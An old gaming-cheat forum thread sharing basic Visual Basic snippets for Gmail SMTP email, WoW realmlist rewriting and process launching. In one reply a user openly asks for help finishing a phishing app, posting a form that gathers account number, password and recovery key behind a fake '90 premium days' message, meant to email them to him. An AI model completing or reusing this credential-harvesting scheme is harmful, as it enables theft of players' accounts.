MMOwned - World of Warcraft Exploits, Hacks, Bots and Guides  
Homepage Register FAQ Members Mark Forums Read Advertise Marketplace FPSowned


Go Back   MMOwned - World of Warcraft Exploits, Hacks, Bots and Guides > Programming > Programming section > VB
Reload this Page [RELEASE] Visual Basic 2008 Codes
VB Discussions about VB programming

Reply
 
LinkBack Thread Tools
[RELEASE] Visual Basic 2008 Codes
(#1)
Old
EmiloZ's Avatar
EmiloZ is Offline
Flying Danish Leecher
Rep Power: 4
Reputation: 427
EmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really nice
 
Posts: 1,006
Join Date: Jun 2007
Location: Denmark - Europe
Legendary [RELEASE] Visual Basic 2008 Codes - 08-24-2008

Hello. At here i will learn you some Visual Basic / post some codes

What this could be used for : You can use it for ex. making a program for sending from GMail isted of opening your browser.
Note: Edit every thing in RED

Use this imports :
Code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Sending an e-mail :

Code:
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("username", "password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        mail.To.Add("your_target@gmail.com")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "My E-Mail from my Visual Basic Program"
        mail.Body = "  Hello. Do you think this is nice? and btw. EmiloZ helped me to make it :D"
        SmtpServer.Send(mail)
Realmlist Changer ( Without custom textbox )

What this could be used for : You can use it for chaning your realmlist by just pressing on a button.
Note: Edit every thing in RED
Code :

Code:
        Dim FileName As String
        FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
        Dim sw As IO.TextWriter
        sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
        sw.WriteLine("set realmlist blablabla.servegame.org")
        sw.WriteLine("set patchlist blablabla.servegame.org")
        sw.Flush()
        sw.Close()
US realmlist :

Code:
        Dim FileName As String
        FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
        Dim sw As IO.TextWriter
        sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
        sw.WriteLine("set realmlist us.logon.worldofwarcraft.com")
        sw.WriteLine("set patchlist us.version.worldofwarcraft.com")
        sw.Flush()
        sw.Close()
EU realmlist :

Code:
        Dim FileName As String
        FileName = "C:\Program Files\World of Warcraft\Data\realmlist.wtf"
        Dim sw As IO.TextWriter
        sw = IO.File.CreateText("C:\Program Files\World of Warcraft\Data\realmlist.wtf")
        sw.WriteLine("set realmlist eu.logon.worldofwarcraft.com")
        sw.WriteLine("set patchlist eu.version.worldofwarcraft.com")
        sw.Flush()
        sw.Close()
Starting an program from a button
Edit everything in RED

Code:
System.Diagnostics.Process.Start("filepath")
will show x form
Code:
Formx.Show()


More to come

- EmiloZ




Free hosting. 100 MB per file allowed and split archive too! [Only registered and activated users can see links. ]

Last edited by EmiloZ; 2 Weeks Ago at 09:04 AM..
Reply With Quote

Donate to remove ads.
(#2)
Old
Anthraxx's Avatar
Anthraxx is Online
Contributor
Rep Power: 3
Reputation: 102
Anthraxx will become famous soon enoughAnthraxx will become famous soon enough
 
Posts: 344
Join Date: Nov 2006
Location: nee
08-24-2008

Also
Code:
 System.Diagnostics.Process.Start("filepath")

Can be used for open websites etc
Example:
Code:
System.Diagnostics.Process.Start("
Code:
[Only registered and activated users can see links. ]")  

If i remember right



Reply With Quote
(#3)
Old
ReidE96's Avatar
ReidE96 is Offline
Contributor
Rep Power: 3
Reputation: 266
ReidE96 is a jewel in the roughReidE96 is a jewel in the roughReidE96 is a jewel in the rough
 
Posts: 758
Join Date: Dec 2006
Location: Scotland
08-24-2008

Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
Code:
Dim FileName As String
FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
I mean, you're not even using the string after you give it a value.


Reply With Quote
(#4)
Old
EmiloZ's Avatar
EmiloZ is Offline
Flying Danish Leecher
Rep Power: 4
Reputation: 427
EmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really nice
 
Posts: 1,006
Join Date: Jun 2007
Location: Denmark - Europe
08-25-2008

Quote:
Originally Posted by Anthraxx View Post
Also
Code:
 System.Diagnostics.Process.Start("filepath")

Can be used for open websites etc
Example:
Code:
System.Diagnostics.Process.Start("
Code:
[Only registered and activated users can see links. ]")  

If i remember right
Ye.
Code:
System.Diagnostics.Process.Start ("http://mmowned.com")
will start an website

Quote:
Originally Posted by ReidE96 View Post
Anthraxx is right, System.Diagnostics.Process.Start works the same as the Run thing on the start menu. Oh, and one other thing. I think these lines are a little superfluous:
Code:
Dim FileName As String
FileName = "C:Program FilesWorld of Warcraftrealmlist.wtf"
I mean, you're not even using the string after you give it a value.
The code works, used it for million times.



Free hosting. 100 MB per file allowed and split archive too! [Only registered and activated users can see links. ]
Reply With Quote
(#5)
Old
ReidE96's Avatar
ReidE96 is Offline
Contributor
Rep Power: 3
Reputation: 266
ReidE96 is a jewel in the roughReidE96 is a jewel in the roughReidE96 is a jewel in the rough
 
Posts: 758
Join Date: Dec 2006
Location: Scotland
08-25-2008

Oh I'm not claiming it won't work. "Superflous" means not needed. What I'm saying is that it would work fine even if you removed those 2 lines.


Reply With Quote
(#6)
Old
EmiloZ's Avatar
EmiloZ is Offline
Flying Danish Leecher
Rep Power: 4
Reputation: 427
EmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really niceEmiloZ is just really nice
 
Posts: 1,006
Join Date: Jun 2007
Location: Denmark - Europe
09-15-2008

lolz. over 140 viewz and 4 comments ? /=



Free hosting. 100 MB per file allowed and split archive too! [Only registered and activated users can see links. ]
Reply With Quote
(#7)
Old
Rockerfooi's Avatar
Rockerfooi is Offline
Site Donator
Rep Power: 2
Reputation: 48
Rockerfooi is on a distinguished road
 
Posts: 427
Join Date: Nov 2007
Location: In a house (really!)
09-15-2008

Thnx for the share ^^ A problem of VB is that your code gets a mess easy (at least, if it contains more 1 line XD)

EDIT: Don't think I hate VB or something I actually like it for quick programs, and I used to make bots with it for a 3D Chat Community (Active Worlds)... But its just something I find annoying




<-- IGNORE THIS IT IS NOT TRUE

Last edited by Rockerfooi; 09-15-2008 at 02:18 PM..
Reply With Quote
(#8)
Old
ReidE96's Avatar
ReidE96 is Offline
Contributor
Rep Power: 3
Reputation: 266
ReidE96 is a jewel in the roughReidE96 is a jewel in the roughReidE96 is a jewel in the rough
 
Posts: 758
Join Date: Dec 2006
Location: Scotland
09-15-2008

VB is very verbose, so it's really obvious what stuff does when you code it in. Of course, this means that you don't need many comments.


Reply With Quote
(#9)
Old
Babbaa's Avatar
Babbaa is Offline
Knight
Rep Power: 2
Reputation: 32
Babbaa is on a distinguished road
 
Posts: 187
Join Date: Nov 2007
Location: Sweden
09-16-2008

Awesome work.


Reply With Quote
(#10)
Old
maclone is Offline
Contributor
Rep Power: 2
Reputation: 175
maclone has a spectacular aura aboutmaclone has a spectacular aura about
 
Posts: 350
Join Date: Nov 2007
Location: Deutschland
09-16-2008

Quote:
Originally Posted by EmiloZ View Post
Code:
System.Diagnostics.Process.Start("filepath")
Code:
Shell("filepath")
Way better, or use ShellExecute.

Or use this for diagnostics
Code:
Dim TaslID As Integer
TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
Parameters for Shell

PathName
Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:\", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:\.

Style
Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.

Wait
Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.

Timeout
Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.


Zomfg. And no, don't ask.

Last edited by maclone; 09-16-2008 at 02:09 PM..
Reply With Quote
(#11)
Old
volitle's Avatar
volitle is Offline
Contributor
Rep Power: 2
Reputation: 127
volitle will become famous soon enoughvolitle will become famous soon enough
 
Posts: 900
Join Date: Nov 2007
Location: Kagnus WoW
09-17-2008

kewl nice share +rep


I am 58% addicted to World of Warcraft

Reply With Quote
(#12)
Old
Y R U A NUB ? is Offline
Knight-Lieutenant
Rep Power: 2
Reputation: 64
Y R U A NUB ? will become famous soon enough
 
Posts: 227
Join Date: Nov 2007
09-17-2008

Hey, I need some help getting e-mailer work. I have a form with 3 text boxes, Account Number, Password, Recovery Key. I want my app to send an e-mail with these TextBoxe's texts as a body to my e-mail, kinda phish.. Can someone finish this for me, so when you press Button1 it sends an e-mail? I'm pretty new to VB, I can't get this to work properly.. This is what I have:

Code:
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Please enter your account number.")
            ElseIf TextBox2.Text = "" Then
            MsgBox("Please enter your password.")
        ElseIf TextBox3.Text = "" Then
            MsgBox("Please enter your recovery key.")
        Else : ProgressBar1.Value = 100
            Label4.Text = "Successful!"
            MsgBox("Successfully generated 90 premium days to your account. Please login.")
                End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        TextBox1.Text = ""
        TextBox2.Text = ""
        TextBox3.Text = ""
        Label4.Text = "Waiting for request.."
        ProgressBar1.Value = 1

    End Sub
End Class
Thanks!


[Flying Piggy] << Awesome flying mount
Reply With Quote
(#13)
Old
Apoc's Avatar
Apoc is Offline
c|_| My care cup is empty
Legendary User
Rep Power: 5
Reputation: 654
Apoc is a splendid one to beholdApoc is a splendid one to beholdApoc is a splendid one to beholdApoc is a splendid one to beholdApoc is a splendid one to beholdApoc is a splendid one to behold
 
Posts: 717
Join Date: Jan 2008
09-18-2008

Quote:
Originally Posted by maclone View Post
Code:
Shell("filepath")
Way better, or use ShellExecute.

Or use this for diagnostics
Code:
Dim TaslID As Integer
TaslID = Shelll("filepath", AppWinStyle.NormalFocus)
Parameters for Shell

PathName
Required. String. Name of the program to execute, together with any required arguments and command-line switches. PathName can also include the drive and the directory path or folder.
If you do not know the path to the program, you can use the My.Computer.FileSystem.GetFiles Method to locate it. For example, you can call My.Computer.FileSystem.GetFiles("C:", True, "testFile.txt"), which returns the full path of every file named testFile.txt anywhere on drive C:.

Style
Optional. AppWinStyle. A value chosen from the AppWinStyle Enumeration specifying the style of the window in which the program is to run. If Style is omitted, Shell uses AppWinStyle.MinimizedFocus, which starts the program minimized and with focus.

Wait
Optional. Boolean. A value indicating whether the Shell function should wait for completion of the program. If Wait is omitted, Shell uses False.

Timeout
Optional. Integer. The number of milliseconds to wait for completion if Wait is True. If Timeout is omitted, Shell uses -1, which means there is no timeout and Shell does not return until the program finishes. Therefore, if you omit Timeout or set it to -1, it is possible that Shell might never return control to your program.
Not only is using Shell not recommended (by many sites, MSDN included), but Process.Start(string) allows you to store the Process in a variable to do work with later. (And instead of using a string to start the process itself, you can optionally feed it a ProcessStartInfo which can set up many many more things)

I.E:

Code:
' Create our start info
Dim info As New ProcessStartInfo("C:MyExecutable.exe", "myArgs -for -the -app")

' We'll be redirecting the standard output to our own application
info.RedirectStandardOutput = True

' Shell execute so we don't have to worry about some nasty kernel errors
info.UseShellExecute = True

' Set the window style for when we start the external application.
info.WindowStyle = ProcessWindowStyle.Hidden

' Start our process, and keep the Process reference.
' This allows us to do some cool stuff, and not worry about tracking the process
' via Process.GetProcessByName etc
Dim process As Process = Process.Start(info)

' Set up a StreamReader to get the current output from our other app
Dim reader As StreamReader = process.StandardOutput

' While the app is still running, print a simple full stream debug to our application.
While Not process.HasExited
    Console.WriteLine(reader.ReadToEnd())
End While

' Print the ExitCode for the app
Console.WriteLine("Process exited with exit code " + process.ExitCode)

' Kill our reader.
reader.Close()
Works great for things like console apps. (You can redirect the input/output easily to make it seem as though your WinForm app is running the other console app)

I do this with a few of my own programs. (As well as a batch WinRar archiver) I wouldn't suggest it with larger applications though. (Such as Firefox, etc. The output stream gets pretty nasty.)

In short: Always use the Process class. Stay away from Shell whenever possible.


VB skills is an oxymoron. - Cypher

Last edited by Apoc; 09-18-2008 at 04:08 AM..
Reply With Quote
(#14)
Old
Sicko's Avatar
Sicko is Offline
Contributor
Rep Power: 2
Reputation: 136
Sicko will become famous soon enoughSicko will become famous soon enough
 
Posts: 327
Join Date: Sep 2007
Location: Sweden
09-19-2008

"I will learn you" ?
That should be: "I will teach you"


It takes a lifetime to develop a reputation, earn respect and build trust, but only a second to lose it.
Reply With Quote
(#15)
Old
maclone is Offline
Contributor
Rep Power: 2
Reputation: 175
maclone has a spectacular aura aboutmaclone has a spectacular aura about
 
Posts: 350
Join Date: Nov 2007
Location: Deutschland
09-23-2008

Quote:
Originally Posted by Apoc View Post
In short: Always use the Process class. Stay away from Shell whenever possible.
You live and learn.
Thanks Apoc


Zomfg. And no, don't ask.
Reply With Quote
Reply

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On



Powered by vBulletin® Version 3.7.4
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
vBulletin Skin developed by: vBStyles.com


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178